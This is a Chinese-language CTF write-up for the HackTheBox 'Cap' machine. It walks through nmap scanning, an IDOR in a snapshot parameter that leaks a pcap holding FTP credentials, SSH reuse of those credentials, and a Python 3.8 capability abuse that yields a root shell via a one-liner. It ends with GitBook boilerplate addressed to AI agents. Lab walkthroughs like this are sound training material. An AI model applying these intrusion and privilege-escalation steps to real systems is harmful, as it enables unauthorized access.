> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md).

# Cap HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/Cap>" %}

{% hint style="warning" %}
技能：

* 不安全的目录对象引用（IDOR）
* 信息泄露
* 滥用能力（Python3.8）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/1d334652649c3efb83c76a27088ef8d4fdf3da28" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ba67bed7d615d6f5279b4b531173cd854c6a8514" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.245 -oG allPorts
```

<figure><img src="/files/767e0bcb98d764d97feda3e04889d60e51378e56" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（21,22,80）

<figure><img src="/files/f2fb0190f560ffde4977346c658d62b2662a4361" alt=""><figcaption></figcaption></figure>

#### 使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p21,22,80 10.10.10.245 -oN targeted
```

<figure><img src="/files/e902ae3f50ee3b155da0bf51ea81e1f4e42304df" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/cc3489efa851c567f527adadbf9b51d99e18c711" alt=""><figcaption></figcaption></figure>

我们访问 HTTP 服务，发现一个名为 **Security Snapshot**的部分。该部分允许你创建并下载 **pcap** 包含系统日志的文件。

<figure><img src="/files/95ffa9887bd78e01b05c146361f5c83eaddfdb9a" alt=""><figcaption></figcaption></figure>

## 漏洞 IDOR

**初步观察**

在使用 Wireshark 分析 **pcap** 文件后，没有找到可直接利用的内容。

<figure><img src="/files/020e1e89992b5a237935815f517a31dba4b984bf" alt=""><figcaption></figcaption></figure>

不过，我们注意到每次下载文件时，都会创建一个 **快照** 。对应的 URL 包含一个指示快照标识符的参数，例如： `snapshot_data=2`.

<figure><img src="/files/32b8001e9efbdbd77e5f1dd536f6479b6ff62e3d" alt=""><figcaption></figcaption></figure>

通过手动修改 URL 参数访问快照 0，我们获得了一个包含敏感信息的文件。

### **使用 Wireshark 分析**

通过检查 **pcap** 文件中的数据帧，我们识别出一个用户的凭据：

* 用户名： `nathan`
* 密码： `Buck3tH4TF0RM3!`

<figure><img src="/files/a05c94484f53b70a9c1bbe412fceb6b17facaeac" alt=""><figcaption></figcaption></figure>

#### 凭据的使用

**FTP 访问**

我们使用凭据连接到 FTP 服务：

连接成功。我们取回了 **user.txt** 文件，其中包含第一个 flag。

<figure><img src="/files/b8ba200ec90c5dcb64d22f0c3475f5860087a891" alt=""><figcaption></figcaption></figure>

**SSH 访问**

通过测试相同的凭据进行 SSH 连接，我们获得了完全访问权限：

```bash
ssh nathan@10.10.10.245
Buck3tH4TF0RM3!
```

<figure><img src="/files/acdb88ae5a3561b3276815767cadfef21096ff80" alt=""><figcaption></figcaption></figure>

## 权限提升

### 漏洞 能力 Python3.8

#### 过滤 **能力**:

如果我们按 capabilities 进行过滤，Python 3.8 会出现：

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/3b4821737556472e78cb3f3775986b7fd744ceb4" alt="" width="554"><figcaption></figcaption></figure>

使用 [GTFOBins](https://gtfobins.github.io/) 作为参考。

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/c9d331ddc5864b0d57fbd5fbc2b8cd10cf187501" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/455c3d5af99209984d1de97c468e1eb03d8ba135" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0526091355b77014c4a497bd5b1f5cda23ff2de3" alt="" width="482"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
